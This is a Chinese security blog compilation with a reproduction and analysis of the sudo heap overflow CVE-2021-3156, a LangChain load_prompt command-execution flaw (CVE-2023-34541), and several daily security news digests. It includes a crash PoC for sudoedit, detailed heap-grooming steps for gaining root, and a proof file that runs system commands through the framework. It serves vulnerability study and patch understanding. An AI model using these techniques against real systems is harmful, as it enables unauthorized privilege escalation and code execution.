Sudo堆溢出漏洞(CVE-2021-3156)复现
背景介绍
2021 年 1 月 26 日,Qualys Research Labs在 sudo 发现了一个缺陷。sudo 解析命令行参数的方式时,错误的判断了截断符,从而导致攻击者可以恶意构造载荷,使得sudo发生堆溢出,该漏洞在配合环境变量等分配堆以及释放堆的原语下,可以致使本地提权。
环境搭建
环境版本
• ubuntu 20.04
• sudo-1.8.31p2
采用下述命令进行编译安装
cd ./sudo-SUDO_1_8_31p2
mkdir build
./configure --prefix=/home/pwn/sudo CFLAGS=”-O0 -g"
make && make install
漏洞验证
#poc
./sudoedit -s '\' 11111111111111111111111111111111111111111111111111111111111111111111
执行上述POC执行sudoedit会出现malloc():invalid size的字样,这是典型的堆溢出后导致的异常。
漏洞分析
源码分析
set_cmnd函数
File: plugins\sudoers\sudoers.c
800: static int
801: set_cmnd(void)
802: {
...
819: if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程
...
845:
846: /* set user_args */
847: if (NewArgc > 1) {
848: char *to, *from, **av;
849: size_t size, n;
850:
851: /* Alloc and build up user_args. */
852: for (size = 0, av = NewArgv + 1; *av; av++) //遍历每一个参数
853: size += strlen(*av) + 1; //计算每一个参数的长度
854: if (size == 0 || (user_args = malloc(size)) == NULL) { //通过malloc动态分配一段内存,用于存放参数内容
855: sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
856: debug_return_int(-1);
857: }
858: if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程
859: /*
860: * When running a command via a shell, the sudo front-end
861: * escapes potential meta chars. We unescape non-spaces
862: * for sudoers matching and logging purposes.
863: */
864: for (to = user_args, av = NewArgv + 1; (from = *av); av++) { //遍历每个环境变量,并将内容拷贝到内存中
865: while (*from) {
/*
漏洞点,当扫描参数内容时,遇到\需要进行转义处理,例如'\t'、'\n'等,因此sudo只判断\后是否跟随着空格字符,即用isspace函数进行判 断。
isspace包括的字符如下:
' ' (0x20) space (SPC) 空格符
'\t' (0x09) horizontal tab (TAB) 水平制表符
'\n' (0x0a) newline (LF) 换行符
'\v' (0x0b) vertical tab (VT) 垂直制表符
'\f' (0x0c) feed (FF) 换页符
'\r' (0x0d) carriage return (CR) 回车符
以上不包括'\0'。
而参数之间是使用'\0'作为分隔符的,因此当'\\'后跟随的'\0'会使得from++从而导致将后一个参数也被拷贝进来,最后致使堆块溢出。
*/
866: if (from[0] == '\\' && !isspace((unsigned char)from[1]))
867: from++;
868: *to++ = *from++;
869: }
870: *to++ = ' ';
871: }
872: *--to = '\0';
使用POC的例子对漏洞进行说明
漏洞原理图
因此漏洞点在于在进入set_cmnd函数时需要对转义字符进行转义,但是函数却没有判断转义字符作为参数末尾的情况,即\ + \x00
parse_args函数
parse_args函数用于反转义,即参数中若存在转义字符,会在每个转义字符之前增加一个\
File: src\parse_args.c
592: if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程
593: char **av, *cmnd = NULL;
594: int ac = 1;
595:
596: if (argc != 0) {
597: /* shell -c "command" */
598: char *src, *dst;
599: size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
600: strlen(argv[argc - 1]) + 1;
601:
602: cmnd = dst = reallocarray(NULL, cmnd_size, 2);
603: if (cmnd == NULL)
604: sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
605: if (!gc_add(GC_PTR, cmnd))
606: exit(1);
607:
608: for (av = argv; *av != NULL; av++) {
609: for (src = *av; *src != '\0'; src++) {
610: /* quote potential meta characters */
611: if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;)
612: *dst++ = '\\';
613: *dst++ = *src;
614: }
615: *dst++ = ' ';
616: }
617: if (cmnd != dst)
618: dst--; /* replace last space with a NUL */
619: *dst = '\0';
620:
621: ac += 2; /* -c cmnd */
622: }
这也是为什么set_cmnd函数需要对参数进行转义,因此若先经过parse_args函数进行反转义,后经过set_cmnd函数进行转义,那么sudo是不会出现漏洞情况的
绕过检验
那么如何绕过set_cmnd函数直接进入parse_args函数,才是漏洞能够被成功触发的关键因素
首先是如何才能过进入set_cmnd函数,sudo会经过两重检测
sudo_mode需要具有MODE_RUN、MODE_EDIT或者MODE_CHECK的标志位
sudo_mode需要具有MODE_SHELL或者MODE_LOGIN_SHELL的标志位
File: plugins\sudoers\sudoers.c
...
819: if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程
...
858: if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程
想要获得MODE_SHELL的标志位,则需要设置-s参数,此时通过 SET(flags, MODE_SHELL),将flag设置上MODE_SHELL,并且默认的mode是为NULL,因此设置-s参数可以使得flag即设置MODE_SHELL又设置MODE_RUN。
File: src\parse_args.c
479: case 's':
480: sudo_settings[ARG_USER_SHELL].value = "true";
481: SET(flags, MODE_SHELL);
482: break;
...
534: if (!mode)
535: mode = MODE_RUN; /* running a command */
536: }
但是若使用sudo -s,那么就会导致flag即设置MODE_SHELL又设置MODE_RUN,就会进入parse_args函数的流程,该流程会把所有非字母数字的字符前方增加一个'\',那么就会导致我们无法构造'' + '\x00'的漏洞字符,因此想要漏洞利用成功,我们不需要程序进入set_cmd函数,但是不能进入parse_args函数
File: src\parse_args.c
592: if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程
...
608: for (av = argv; *av != NULL; av++) {
609: for (src = *av; *src != '\0'; src++) {
610: /* quote potential meta characters */
611: if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;)
612: *dst++ = '\\';
613: *dst++ = *src;
614: }
...
622: }
在parse_args函数的开头,会检测是以sudo还是以sudoedit进行调用,若使用sudoedit调用,那么会直接给mode设置上MODE_EDIT,从而绕过了mode==NULL时,需要将flag设置为MODE_RUN,因此使用sudoedit -s,可以使得flag即设置MODE_EDIT又设置MODE_SHELL
File: src\parse_args.c
...
265: proglen = strlen(progname);
266: if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
267: progname = "sudoedit";
268: mode = MODE_EDIT;
269: sudo_settings[ARG_SUDOEDIT].value = "true";
270: }
想要进入set_cmnd第二条路径就是flag设置为MODE_EDIT | MODE_SHELL,这样的输入就能够绕过parse_args函数而禁止进入set_cmd函数,这也是为什么sudo的堆溢出,需要使用sudoedit -s触发,而不是sudo -s
File: plugins\sudoers\sudoers.c
...
819: if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程
...
858: if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程
漏洞利用
漏洞利用分析
由于程序存在一个明显的堆溢出漏洞,因此需要梳理一下堆溢出如何进行利用。
• 找到一个堆块,该堆块的值会影响程序执行的流程,这里称之为可利用堆块。
• 找到可以随意控制堆块位置的操作,将漏洞函数申请的堆块部署在可利用堆块的上方,当堆溢出触发时,可以将可利用堆块的值被改写成我们预期的值。
可利用堆块
nss是用于解析和获取不同类型的名称信息,例如如何通过用名称去获取用户信息,在sudo需要获取用户信息时则需要调用nss。
在使用nss去获取信息时,其实是通过不同的动态链接库去执行相应的行为,而这些库的文件名则存在于/etc/nsswitch.conf的配置文件中
例如想要查询passwd文件则需要用到libnss_files.so与libnss_systemed.so
那么如何加载这些动态链接库则需要依赖于nss_load_library函数,而且这些相关信息都被存放在service_user结构体中,而该结构体是存放在堆内存中的。
接着得先研究该结构体的值是否会影响程序的执行流程,代码如下。
File: nsswitch.c
327: static int
328: nss_load_library (service_user *ni)
329: {
330: if (ni->library == NULL)
331: {
332: /* This service has not yet been used. Fetch the service
333: library for it, creating a new one if need be. If there
334: is no service table from the file, this static variable
335: holds the head of the service_library list made from the
336: default configuration. */
337: static name_database default_table;
338: ni->library = nss_new_service (service_table ?: &default_table,
339: ni->name); //若ni->library的值为NULL,那么就会新建一个ni->library并将成员都进行初始化
340: if (ni->library == NULL)
341: return -1;
342: }
343:
344: if (ni->library->lib_handle == NULL) //由于ni->library刚新建,因此ni->library->lib_handle必定为NULL
345: {
346: /* Load the shared library. */
347: size_t shlen = (7 + strlen (ni->name) + 3
348: + strlen (__nss_shlib_revision) + 1);
349: int saved_errno = errno;
350: char shlib_name[shlen];
351:
352: /* Construct shared object name. */
353: __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
354: "libnss_"),
355: ni->name),
356: ".so"), //shalib_name是根据拼接得到
357: __nss_shlib_revision);
358:
359: ni->library->lib_handle = __libc_dlopen (shlib_name); //加载动态链接库
上述代码有个非常关键的点在于,程序会使用__libc_dlopen打开shalib_name指定的动态链接库,而shalib_name是通过ni->name进行一系列的拼接得到,而ni->name则是存放在结构体service_user *ni中的,该结构体又是存放在堆内存中的。那么我们就找到了关键的值ni->name,它是能够完成修改程序执行流程的关键变量。
举个例子,例如我们将ni->name修改为X/test,那么最后拼接的结果会得到libnss_X/test.so,那么如果我们在当前目录下新建一个libnss_X并且在该目录中创建一个test.so的动态链接库,那么sudo就会加载并执行我们动态链接库中的代码。至此我们找到利用的第一个关键因素,可利用堆块。
布置堆块的操作
由于我们已经找到了可利用的堆块,如果能够将堆溢出的堆块部署在可利用堆块的上方,在利用堆溢出修改ni->name,即可完成任意代码执行的效果。
在sudo的main函数中,会执行setlocate函数。setlocale 是一个用于设置程序的区域设置(locale)的函数,在许多编程语言和操作系统中都有对应的实现。
区域设置是指程序在运行时所采用的语言、地区、日期格式、货币符号等相关信息的集合。通过设置区域设置,程序可以根据不同的地区和语言环境来适应本地化需求。
export LC_ALL=en_US.UTF-8@XXXX
而在setlocal函数中涉及十分多的堆块分配与释放的操作,当调用setlocal(LC_ALL,"")时,程序会通过环境变量设置的值去搜索区域设置的值,而环境变量的搜索则依靠_nl_find_locale函数。
_nl_find_locale函数
File: locale\findlocale.c
101: struct __locale_data *
102: _nl_find_locale (const char *locale_path, size_t locale_path_len,
103: int category, const char **name)
104: {
...
184: /* LOCALE can consist of up to four recognized parts for the XPG syntax:
185:
186: language[_territory[.codeset]][@modifier]
187:
188: Beside the first all of them are allowed to be missing. If the
189: full specified locale is not found, the less specific one are
190: looked for. The various part will be stripped off according to
191: the following order:
192: (1) codeset
193: (2) normalized codeset
194: (3) territory
195: (4) modifier
196: */
/*
区域的格式为C_en_US.UTF-8@XXXXXX
_nl_explode_name用于判断(1)(2)(3)(4)哪部分存在,哪部分缺失
*/
197: mask = _nl_explode_name (loc_name, &language, &modifier, &territory,
198: &codeset, &normalized_codeset);
199: if (mask == -1)
200: /* Memory allocate problem. */
201: return NULL;
202:
//locale_file则给区域设置进行动态内存的分配
205: locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
206: locale_path, locale_path_len, mask,
207: language, territory, codeset,
208: normalized_codeset, modifier,
209: _nl_category_names_get (category), 0); //返回NULL
210:
211: if (locale_file == NULL)
212: {
213: /* Find status record for addressed locale file. We have to search
214: through all directories in the locale path. */
215: locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
216: locale_path, locale_path_len, mask,
217: language, territory, codeset,
218: normalized_codeset, modifier,
219: _nl_category_names_get (category), 1);
220: if (locale_file == NULL)
221: /* This means we are out of core. */
222: return NULL;
223: }
}
_nl_make_l10nflist**函数**
_nl_make_l10nflist会根据我们传入的值进行堆块的分配。
File: intl\l10nflist.c
150: struct loaded_l10nfile *
151: _nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
152: const char *dirlist, size_t dirlist_len,
153: int mask, const char *language, const char *territory,
154: const char *codeset, const char *normalized_codeset,
155: const char *modifier,
156: const char *filename, int do_allocate)
157: {
...
165: //根据我们传入的区域值的长度进行动态分配
166: abs_filename = (char *) malloc (dirlist_len
167: + strlen (language)
168: + ((mask & XPG_TERRITORY) != 0
169: ? strlen (territory) + 1 : 0)
170: + ((mask & XPG_CODESET) != 0
171: ? strlen (codeset) + 1 : 0)
172: + ((mask & XPG_NORM_CODESET) != 0
173: ? strlen (normalized_codeset) + 1 : 0)
174: + ((mask & XPG_MODIFIER) != 0
175: ? strlen (modifier) + 1 : 0)
176: + 1 + strlen (filename) + 1);
177:
...
292: }
setlocale**函数**
setlocale函数总体操作则是读取环境变量的值获取区域设置的值,根据区域设置的值分配堆块大小,若其中存在不符合区域值的规范,则会将所有先前申请的堆块都释放掉。
File: locale\setlocale.c
334: while (category-- > 0)
335: if (category != LC_ALL)
336: {
//通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中
337: newdata[category] = _nl_find_locale (locale_path, locale_path_len,
338: category,
339: &newnames[category]);
340:
...
364: else
365: {
//使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去
366: newnames[category] = __strdup (newnames[category]);
367: if (newnames[category] == NULL)
368: break;
369: }
...
393: if (category != LC_ALL && newnames[category] != _nl_C_name
394: && newnames[category] != _nl_global_locale.__names[category])
395: free ((char *) newnames[category]); //这里就是堆块释放的原语了,只要有一个区域设置的值不符合规范,则将之前所有申请的堆块都释放掉
因此可以通过区域值去控制堆块的大小,接着在最后设置一个错误的区域值去控制堆块的位置,至此我们找到可控制堆块的操作。
LC_IDENTIFICATION = C.UTF-8@XX..XX #若长度为0x10,则malloc(0x10) LC_MEASUREMENT = C.UTF-8@XX..XXX,#若长度为0X20,则malloc(0x20) LC_TELEPHONE = XXXX #不符合区域值的规范,则会调用free()
exp的分析
由于我们需要控制server_user的堆块,因此需要知道该堆块的大小为多少,通过调试可知是0x40的堆块,因此利用setlocate多释放几个0x40的堆块,那么server_user就会使用到我们所释放的堆块。
紧接着将漏洞堆块分配到server_user堆块的上方,由于server_user的堆块是我们自己构建的,因此只需要在释放该堆块的同时也释放漏洞堆块即可,并且漏洞堆块的申请可是根据参数的长度所设置的
将设置区域值的函数设置为堆块分配与释放的原语,使用@后面的字符控制堆块的大小
使用错误的区域值进行堆块的释放
最后就是如何填充到可利用堆块,这里使用堆溢出,并且在环境变量中构造填充字符串,使得漏洞堆块可以覆盖掉可利用堆块的内容值,但这里需要注意的是,我们需要将ni->library中用\x00填充,而\x00是无法直接输入到环境变量中的,因此需要再次观察漏洞函数是如何拷贝字符的。根据代码分析可知,只要''后紧跟着'\x00',那么我们就能将\x00的值直接拷贝的堆内存中。紧接着将ni->name修改为我们认为构造的动态链接库即可。
File: plugins\sudoers\sudoers.c
866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) //若 '\' 后跟着'\x00'
867: from++; //此时from会指向\x00
868: *to++ = *from++; //使用\x00进行值的拷贝
869: }
设置多个环境变量使得内存存在多个'' + '\x00',从而使用'\x00'去覆盖堆的内存值。
演示效果如下
漏洞修复
漏洞的修复则是将MODE_EDIT的标志位进行了额外的判断,并且在''后面增加了对'\0'的校验
--- a/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700
+++ b/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700
@@ -547,7 +547,7 @@
/* If run as root with SUDO_USER set, set sudo_user.pw to that user. */
/* XXX - causes confusion when root is not listed in sudoers */
- if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) {
+ if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) {
if (user_uid == 0 && strcmp(prev_user, "root") != 0) {
struct passwd *pw;
@@ -932,8 +932,8 @@
if (user_cmnd == NULL)
user_cmnd = NewArgv[0];
- if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
- if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) {
+ if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) {
+ if (!ISSET(sudo_mode, MODE_EDIT)) { //对MODE_EDIT进行了额外的判断
const char *runchroot = user_runchroot;
if (runchroot == NULL && def_runchroot != NULL &&
strcmp(def_runchroot, "*") != 0)
@@ -961,7 +961,8 @@
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(NOT_FOUND_ERROR);
}
- if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
+ if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) &&
+ ISSET(sudo_mode, MODE_RUN)) { //需要sudo -s才能进行转义
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
@@ -969,10 +970,22 @@
*/
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
- if (from[0] == '\\' && !isspace((unsigned char)from[1]))
+ if (from[0] == '\\' && from[1] != '\0' && //增加了'\0'的判断
+ !isspace((unsigned char)from[1])) {
from++;
+ }
+ if (size - (to - user_args) < 1) {
+ sudo_warnx(U_("internal error, %s overflow"),
+ __func__);
+ debug_return_int(NOT_FOUND_ERROR);
+ }
*to++ = *from++;
}
+ if (size - (to - user_args) < 1) {
+ sudo_warnx(U_("internal error, %s overflow"),
+ __func__);
+ debug_return_int(NOT_FOUND_ERROR);
+ }
*to++ = ' ';
}
*--to = '\0';
总结
Sudo堆溢出攻击流程
首先利用setlocate作为堆块分配与释放的原语,构造出适合的堆布局确保server_user堆块尽可能贴近漏洞代码开辟出来的堆块。
其次利用堆溢出将server_user堆块的ni->name值覆盖,覆盖的值为恶意构造的动态链接库名。
最后等待动态链接库被加载执行。
Sudo堆溢出利用的限制
由于sudo堆溢出依赖堆的布局,因此不同版本的sudo或者操作系统都会影响漏洞的利用。
网络安全日报 2023年06月28日
1、Anatsa安卓银行木马新一轮攻击针对英美德等国
https://www.threatfabric.com/blogs/anatsa-hits-uk-and-dach-with-new-campaign Anatsa是一种安卓银行木马,它可以通过伪装成正常的应用程序,诱骗用户在手机上安装它,然后窃取用户的银行凭证和执行欺诈性的转账。自2023年3月以来,Anatsa木马已经通过谷歌商店(Google Play Store)的多个下载器(dropper)传播,影响了超过3万个用户。Anatsa木马的目标主要是美国、英国和德语区(DACH)的银行机构,其恶意软件列表包含了全球近600个金融应用程序。研究人员已经确认了多起由Anatsa木马造成的
2、Teams存在漏洞,可被外部租户利用传播恶意软件
https://labs.jumpsec.com/advisory-idor-in-microsoft-teams-allows-for-external-tenants-to-introduce-malware/ Microsoft Teams是一款流行的协作和通信平台,但它也存在一个安全漏洞,可能让用户的设备受到恶意软件的攻击。这个漏洞被称为IDOR(不安全的直接对象引用),它允许外部租户(external tenants)绕过客户端的安全控制,向目标用户发送恶意文件。研究人员最近发现了这个漏洞,并向微软报告了。他们发现,Microsoft Teams的默认配置允许任何拥有微软账户的用户
3、微软发出警告,俄罗斯黑客正进行大范围的凭证窃取攻击
https://www.freebuf.com/news/370415.html 据微软披露,近日检测到由俄罗斯国家附属黑客组织 "午夜暴雪 "进行的凭证窃取攻击激增。微软的威胁情报团队说,入侵行为利用住宅代理服务来混淆攻击的源IP地址,目标是政府、IT服务提供商、非政府组织、国防和关键制造部门。
4、新的 Mockingjay 进程注入技术可逃避 EDR 检测
https://www.bleepingcomputer.com/news/security/new-mockingjay-process-injection-technique-evades-edr-detection/ 网络安全公司 Security Joes 的研究人员发现了这种方法,该方法利用带有 RWX(读、写、执行)部分的合法 DLL 来逃避 EDR 挂钩并将代码注入远程进程。
5、施耐德电气和西门子能源是 MOVEit 零日攻击的最新受害者
https://securityaffairs.com/147865/data-breach/schneider-electric-siemens-energy-moveit.html Cl0p 勒索软件组织在其暗网泄露网站上新增了 5 名 MOVEit 攻击受害者,其中包括工业控制系统巨头施耐德电气和西门子能源。
6、欧洲刑警组织摧毁EncroChat 抓捕 6,558 名犯罪分子并扣押 9 亿欧元
https://thehackernews.com/2023/06/encrochat-bust-leads-to-6558-criminals.html 欧洲刑警组织周二宣布,2020 年 7 月取缔EncroChat导致全球 6,558 人被捕,并没收了 9 亿欧元非法犯罪所得。该执法机构表示,法国和荷兰当局随后发起的联合调查拦截并分析了至少 6 万名用户通过加密消息平台进行的超过 1.15 亿次对话。
7、沃斯堡政府官员确认网络攻击事件,但否认敏感信息泄露
https://therecord.media/fort-worth-cyberattack-sieged-sec 德克萨斯州沃斯堡的官员证实,一个包含政府信息的网站被一群黑客入侵并访问,但淡化了事件的严重性。周五,一个名为 SiegedSec 的黑客组织在 Telegram 上声称,他们从该市政府窃取了约 500,000 个文件,该市有超过 935,000 名居民。
8、出资 2000 万美元!谷歌将在全美推广免费网络安全诊所
https://cybernews.com/security/google-pledges-20m-free-cybersecurity-clinics-across-us/ 谷歌声明将投入 2000 万美元,用于在美国各地开设更多的网络安全实践诊所,以帮助填补美国的网络安全劳动力缺口,并在不断变化的威胁面前保持领先地位。
9、5 月份,全球范围内针对组织的勒索软件攻击激增了近 25%
https://cybernews.com/news/may-ransomware-attack-surge-8base-akira-new-gangs/ 一项新的研究显示,5 月份,全球范围内针对组织的勒索软件攻击数量激增了近 25%,这是今年迄今为止记录的最高数量,而这一增长的部分原因是现场出现了一个名为 8BASE 的新团伙。
10、全国人大法工委:为 AI 换脸诈骗提供技术支持同样追责
http://www.anquan419.com/knews/24/5413.html 针对利用“AI换脸”技术进行视频合成、进而实施诈骗这一新型电信网络诈骗的有关法律问题,全国人大常委会法制工作委员会举行记者会,发言人臧铁伟进行回应。他表示,对于构成诈骗罪的,要依照刑法规定追究刑事责任;对于为利用“AI换脸”实施诈骗行为提供技术支持、帮助的,要根据反电信网络诈骗法的规定进行行政处罚,构成犯罪的,还要根据刑法第二百八十七条之二帮助信息网络犯罪活动罪等追究刑事责任。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
LangChain 任意命令执行(CVE-2023-34541)
漏洞简介
LangChain是一个用于开发由语言模型驱动的应用程序的框架。
在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。
漏洞复现
在项目下编写 test.py
from langchain.prompts import load_prompt
if __name__ == '__main__':
loaded_prompt = load_prompt("system.py")
同级目录下编写 system.py 执行系统命令 dir
import os
os.system("dir")
运行 test.py 返回了执行系统命令dir 的结果
漏洞分析-_load_prompt_from_file
langchain.prompts.loading.load_prompt
try_load_from_hub 是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到 _load_prompt_from_file
langchain.prompts.loading._load_prompt_from_file
在 _load_prompt_from_file 根据文件的后缀,当后缀是 .py 时 最终会读取该文件并利用 exec 去执行
也就相当于,代码可以简写为
if __name__ == '__main__':
file_path = "system.py"
with open(file_path, "rb") as f:
exec(f.read())
漏洞分析-try_load_from_hub
因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析
from langchain.prompts import load_prompt
if __name__ == '__main__':
loaded_prompt = load_prompt("lc://prompts/../../../../../../../system.py")
langchain.prompts.loading.load_prompt
langchain.utilities.loading.try_load_from_hub
首先匹配了 HUB_PATH_RE = re.compile(r"lc(?Pref@[^:]+)?://(?Ppath.*)") 所以需要满足最开始是 lc://
然后对后面的内容进行匹配,要求第一个字段的值是 prompts 最后的后缀要在 {'py', 'yaml', 'json'} 中
最后拼接请求的url 可以通过 ../../../ 绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行
漏洞小结
在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。
网络安全日报 2023年06月27日
1、新型Mirai变种利用8个漏洞攻击多种IoT设备
https://unit42.paloaltonetworks.com/mirai-variant-targets-iot-exploits/ 研究人员介绍了一种新发现的Mirai变种,它能利用8个新的漏洞攻击多种嵌入式设备,包括无线演示系统、机顶盒、SD-WAN和智能家居控制器等。Mirai是一种自2016年以来就存在的恶意软件,主要用于发动DDoS攻击和自我传播。研究人员分析了这种新型Mirai变种的感染流程、攻击载荷、C2服务器和目标设备,并给出了一些防御建议。还提供了一些IoT设备安全的最佳实践,例如更改默认密码、禁用不必要的服务、及时更新固件等。
2、LockBit勒索软件瞄准苹果M1芯片和嵌入式系统
https://securelist.com/crimeware-report-lockbit-switchsymb/110068/ 研究人员介绍LockBit勒索软件团伙正在开发针对苹果M1芯片和嵌入式系统的勒索软件。这些目标都是传统的Windows环境之外的,可能给受害者带来全新的问题。研究人员指出,LockBit是一个提供勒索软件即服务(RaaS)的团伙,它利用自动传播的恶意软件和双重加密的方法来进行攻击。研究人员还提到了LockBit的一些特点,如三重勒索的方法、先进的技术、高危的网络攻击和对合作伙伴的大力推广。研究人员建议企业采取结构化的漏洞管理流程来保护自己,根据严重性和风险优先
3、研究人员发布了针对Cisco AnyConnect Secure漏洞的PoC
https://github.com/Wh04m1001/CVE-2023-20178/blob/main/README.md 研究人员介绍了一个高危漏洞(CVE-2023-20178)的证明概念(PoC)利用代码,该漏洞影响思科AnyConnect安全移动客户端软件(Windows版)和思科安全客户端软件(Windows版)。该漏洞存在于客户端更新过程中,如果攻击者已经在本地以低权限用户登录,就可以利用该漏洞提升为SYSTEM权限。这是因为在更新过程中创建的临时目录被赋予了不恰当的权限,攻击者可以通过滥用Windows安装程序进程的一个特定函数来执行任意代码。该漏洞的PoC利用代码是由一名
4、LastPass用户因MFA重置而被锁定账户
https://www.bleepingcomputer.com/news/security/lastpass-users-furious-after-being-locked-out-due-to-mfa-resets/ LastPass用户在5月初收到要求重置多因素认证(MFA)应用的电子邮件后,无法访问他们的密码库。LastPass是一款流行的密码管理器,可以让用户在不同的设备和浏览器上安全地存储和同步他们的密码。为了提高安全性,LastPass还支持多种MFA选项,包括Google Authenticator、Microsoft Authenticator、YubiKey等。然而,一
5、Grafana发布安全更新以修复CVE-2023-3128严重漏洞
https://grafana.com/blog/2023/06/22/grafana-security-release-for-cve-2023-3128/ Grafana发布了新版本的软件,修复了一个严重的安全漏洞,编号为CVE-2023-3128。该漏洞存在于Grafana的数据源配置页面中,如果攻击者能够访问该页面,就可以利用该漏洞执行任意代码。这是因为在数据源配置页面中,有一个“测试”按钮,可以用来测试数据源的连接和查询。但是,这个按钮没有对用户输入进行充分的验证和转义,导致了一个存储型跨站脚本(XSS)漏洞。如果攻击者能够在数据源配置页面中插入恶意代码,并诱使其他用户点击“测试”
6、CISA 称 Zyxel NAS 严重漏洞遭到攻击利用
https://www.securityweek.com/cisa-says-critical-zyxel-nas-vulnerability-exploited-in-attacks/ CISA 警告 Zyxel NAS 产品的用户,最近修补的关键漏洞 CVE-2023-27992 已被利用进行攻击。
7、BIND 修补了的可被远程利用的 DoS 漏洞
https://www.securityweek.com/remotely-exploitable-dos-vulnerabilities-patched-in-bind/ 最新的 BIND 更新解决了三个导致拒绝服务 (DoS) 的高严重性、可远程利用的漏洞。
8、森科尔能源公司遭网络攻击影响了加拿大加油站的支付业务
https://securityaffairs.com/147834/hacking/petro-canada-suncor-problems.html Suncor Energy 是加拿大领先的综合能源公司,在加拿大和美国提供油砂开发、生产和升级、海上石油和天然气以及石油炼制服务。它拥有加拿大石油公司的零售和批发分销网络。
9、研究人员找到通过分析 LED 闪烁恢复加密密钥的方法
https://thehackernews.com/2023/06/researchers-find-way-to-recover.html 在巧妙的旁道攻击中,一组学者发现可以通过分析设备电源 LED 的视频片段来恢复设备的密钥。内盖夫本古里安大学和康奈尔大学的研究人员在一项研究中表示:“CPU 执行的密码计算会改变设备的功耗,从而影响设备电源 LED 的亮度。”
10、动视暴雪游戏因长达数小时的 DDoS 攻击而瘫痪
https://therecord.media/activision-blizzard-crippled-by-ddos 根据动视暴雪在 Twitter 上的声明,此次攻击持续了 10 多个小时,并于周日晚些时候得到缓解。暴雪尚未确定其背后的黑客组织,也没有人站出来声称对此负责。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年06月26日
1、Mallox勒索软件采用新的感染策略发起攻击
https://blog.cyble.com/2023/06/22/mallox-ransomware-implements-new-infection-strategy/ Mallox勒索软件是一种在2021年6月首次出现的恶意软件,它的特点是在加密文件后添加目标公司的名称作为文件扩展名。这种勒索软件也被称为“TargetCompany”,因为它会在加密文件后添加“.mallox”或“.malox”扩展名。研究人员最近发现了Mallox勒索软件的新变种,它采用了一种新的感染策略,不再需要从远程服务器下载勒索软件载荷,而是将其嵌入到一个批处理脚本中,然后注入到“MSBuild.exe”中,不
2、NSA发布指南应对BlackLotus威胁
https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/3435305/nsa-releases-guide-to-mitigate-blacklotus-threat/ 美国国家安全局(NSA)发布了一份指南,旨在帮助网络防御者应对BlackLotus恶意软件的威胁。BlackLotus是一种利用微软Windows安全启动过程中的一个已知漏洞绕过Secure Boot保护的恶意软件,它可以在系统启动时加载恶意代码,从而控制系统并窃取敏感数据。NSA指出,BlackLotus恶意软
3、SupremeBot恶意软件伪装成超级马里奥游戏安装程序进行传播
